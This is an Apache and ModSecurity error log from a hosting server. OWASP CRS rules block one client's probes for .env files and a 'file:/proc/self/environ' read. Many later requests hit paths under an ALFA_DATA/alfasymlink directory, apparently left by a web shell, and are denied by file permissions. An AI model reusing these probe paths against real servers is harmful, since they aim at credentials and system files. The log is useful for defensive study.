[Mon Oct 26 09:23:17.750910 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URS4y9wbCW0XoP8BjTQAAAAI"]
[Mon Oct 26 09:23:17.774959 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9URSmtoTVUWKg0WJJg3QAAABI"]
[Mon Oct 26 09:23:17.775553 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9URSmtoTVUWKg0WJJg3QAAABI"]
[Mon Oct 26 09:23:17.775845 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9URSmtoTVUWKg0WJJg3QAAABI"]
[Mon Oct 26 09:23:18.124983 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9URi4y9wbCW0XoP8BjTgAAAAI"]
[Mon Oct 26 09:23:18.125474 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9URi4y9wbCW0XoP8BjTgAAAAI"]
[Mon Oct 26 09:23:18.125746 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9URi4y9wbCW0XoP8BjTgAAAAI"]
[Mon Oct 26 09:23:18.140990 2026] [security2:error] [pid 3038681:tid 3038681] [client 34.77.78.138:50002] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URqCqb5VOnNCs1lUwDgAAAA8"]
[Mon Oct 26 09:23:18.141577 2026] [security2:error] [pid 3038681:tid 3038681] [client 34.77.78.138:50002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URqCqb5VOnNCs1lUwDgAAAA8"]
[Mon Oct 26 09:23:18.141862 2026] [security2:error] [pid 3038681:tid 3038681] [client 34.77.78.138:50002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URqCqb5VOnNCs1lUwDgAAAA8"]
[Mon Oct 26 09:23:18.149466 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49988] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9URm8fURIvZEnkWNyOmAAAACs"]
[Mon Oct 26 09:23:18.149897 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49988] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9URm8fURIvZEnkWNyOmAAAACs"]
[Mon Oct 26 09:23:18.150239 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49988] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9URm8fURIvZEnkWNyOmAAAACs"]
[Mon Oct 26 09:23:18.162358 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9URnYYJ1RlC0FZClQGFgAAABw"]
[Mon Oct 26 09:23:18.162738 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9URnYYJ1RlC0FZClQGFgAAABw"]
[Mon Oct 26 09:23:18.162977 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9URnYYJ1RlC0FZClQGFgAAABw"]
[Mon Oct 26 09:23:18.174992 2026] [security2:error] [pid 3038686:tid 3038686] [client 34.77.78.138:49956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9URn806mgNGzkoiDig5wAAABc"]
[Mon Oct 26 09:23:18.175335 2026] [security2:error] [pid 3038686:tid 3038686] [client 34.77.78.138:49956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9URn806mgNGzkoiDig5wAAABc"]
[Mon Oct 26 09:23:18.175547 2026] [security2:error] [pid 3038686:tid 3038686] [client 34.77.78.138:49956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9URn806mgNGzkoiDig5wAAABc"]
[Mon Oct 26 09:23:18.181423 2026] [security2:error] [pid 3038664:tid 3038664] [client 34.77.78.138:49938] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URggazeYKT8ZOTcqEFwAAAAs"]
[Mon Oct 26 09:23:18.181788 2026] [security2:error] [pid 3038664:tid 3038664] [client 34.77.78.138:49938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URggazeYKT8ZOTcqEFwAAAAs"]
[Mon Oct 26 09:23:18.182051 2026] [security2:error] [pid 3038664:tid 3038664] [client 34.77.78.138:49938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URggazeYKT8ZOTcqEFwAAAAs"]
[Mon Oct 26 09:23:18.190532 2026] [security2:error] [pid 3038663:tid 3038663] [client 34.77.78.138:49848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URm8ObJ9DW7jRTA7oawAAAAk"]
[Mon Oct 26 09:23:18.190928 2026] [security2:error] [pid 3038663:tid 3038663] [client 34.77.78.138:49848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URm8ObJ9DW7jRTA7oawAAAAk"]
[Mon Oct 26 09:23:18.191177 2026] [security2:error] [pid 3038663:tid 3038663] [client 34.77.78.138:49848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URm8ObJ9DW7jRTA7oawAAAAk"]
[Mon Oct 26 09:23:26.534026 2026] [ssl:error] [pid 3038687:tid 3038687] (70014)End of file found: [client 44.209.187.99:30964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:23:30.805489 2026] [ssl:error] [pid 3038665:tid 3038665] (70014)End of file found: [client 3.227.180.70:2131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:23:34.409895 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 3.219.80.71:44153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:23:42.368512 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 44.193.115.232:21004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:23:58.501589 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 54.84.169.196:33898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:24:02.353181 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 98.82.59.253:45964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:24:14.417316 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 44.193.102.198:33820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:24:22.340401 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 98.83.177.42:17128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:24:26.371563 2026] [ssl:error] [pid 3032274:tid 3032274] (5)Input/output error: [client 23.21.227.240:15662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:24:28.395558 2026] [security2:error] [pid 3027735:tid 3027735] [client 107.172.76.131:54109] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9UgHT09R7Np-FQ85dklAAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:24:28.395605 2026] [security2:error] [pid 3027735:tid 3027735] [client 107.172.76.131:54109] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9UgHT09R7Np-FQ85dklAAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:24:44.886235 2026] [core:error] [pid 3038662:tid 3038662] (13)Permission denied: [client 85.208.96.207:25434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/order
[Mon Oct 26 09:24:46.667365 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 23.22.105.143:5416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:24:54.517626 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 3.216.13.10:4820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:24:58.068914 2026] [security2:error] [pid 3032274:tid 3032274] [client 43.130.31.17:52860] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "at9UqimtoTVUWKg0WJJg4wAAABI"]
[Mon Oct 26 09:24:58.426176 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 34.202.88.37:62288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:25:01.646500 2026] [ssl:error] [pid 3038682:tid 3038682] (70014)End of file found: [client 85.208.96.204:60464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:25:06.478490 2026] [ssl:error] [pid 3038687:tid 3038687] (70014)End of file found: [client 3.94.157.25:57272] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:25:22.748318 2026] [core:error] [pid 3032272:tid 3032272] (13)Permission denied: [client 52.44.148.203:27941] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_generic/module/sections/__param
[Mon Oct 26 09:25:26.419829 2026] [core:error] [pid 3038687:tid 3038687] (13)Permission denied: [client 185.191.171.18:62450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/red_zone
[Mon Oct 26 09:25:26.627504 2026] [ssl:error] [pid 3038663:tid 3038663] (70014)End of file found: [client 3.218.35.239:58788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:25:30.575618 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 52.54.157.23:18949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:25:33.980484 2026] [core:error] [pid 3038682:tid 3038682] (13)Permission denied: [client 216.244.66.250:57240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/blocked_incoming_email_countries
[Mon Oct 26 09:25:45.642084 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 85.208.96.201:33434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/order
[Mon Oct 26 09:25:46.945549 2026] [security2:error] [pid 3038663:tid 3038663] [client 3.215.221.125:38035] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/"] [unique_id "at9U2m8ObJ9DW7jRTA7odAAAAAk"]
[Mon Oct 26 09:25:46.945610 2026] [security2:error] [pid 3038663:tid 3038663] [client 3.215.221.125:38035] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/"] [unique_id "at9U2m8ObJ9DW7jRTA7odAAAAAk"]
[Mon Oct 26 09:25:54.532474 2026] [core:error] [pid 3034812:tid 3034812] (13)Permission denied: [client 52.0.218.219:2287] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/input1/event1/subsystem/input3/device/driver/serio1/driver/bind
[Mon Oct 26 09:26:10.850206 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 23.23.213.182:44831] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/shpchp/unbind
[Mon Oct 26 09:26:14.585436 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 18.214.138.148:9229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:18.623004 2026] [ssl:error] [pid 3034823:tid 3034823] (70014)End of file found: [client 18.208.11.93:38958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:26.765576 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 44.215.210.112:51960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:30.808121 2026] [ssl:error] [pid 3038663:tid 3038663] (70014)End of file found: [client 3.213.85.234:15884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:34.568107 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 52.4.238.8:31991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:38.638923 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 98.80.130.239:26747] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/subsystem/uevent
[Mon Oct 26 09:26:42.730268 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 54.163.136.244:15954] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:50.611123 2026] [ssl:error] [pid 3034823:tid 3034823] (70014)End of file found: [client 3.230.69.161:32946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:55.668317 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.215.59.93:45810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:26:58.830286 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 44.205.180.155:5641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:27:10.671957 2026] [ssl:error] [pid 3038664:tid 3038664] (70014)End of file found: [client 100.29.63.24:49087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:27:30.787997 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 54.166.126.132:14232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:27:38.703711 2026] [ssl:error] [pid 3038665:tid 3038665] (70014)End of file found: [client 44.208.223.68:25074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:27:42.796351 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 54.88.84.219:30003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:27:50.849334 2026] [security2:error] [pid 3034812:tid 3034812] [client 100.29.160.53:48263] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at9VVt9H6KHQp8xa7jINMAAAABQ"]
[Mon Oct 26 09:27:50.849386 2026] [security2:error] [pid 3034812:tid 3034812] [client 100.29.160.53:48263] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at9VVt9H6KHQp8xa7jINMAAAABQ"]
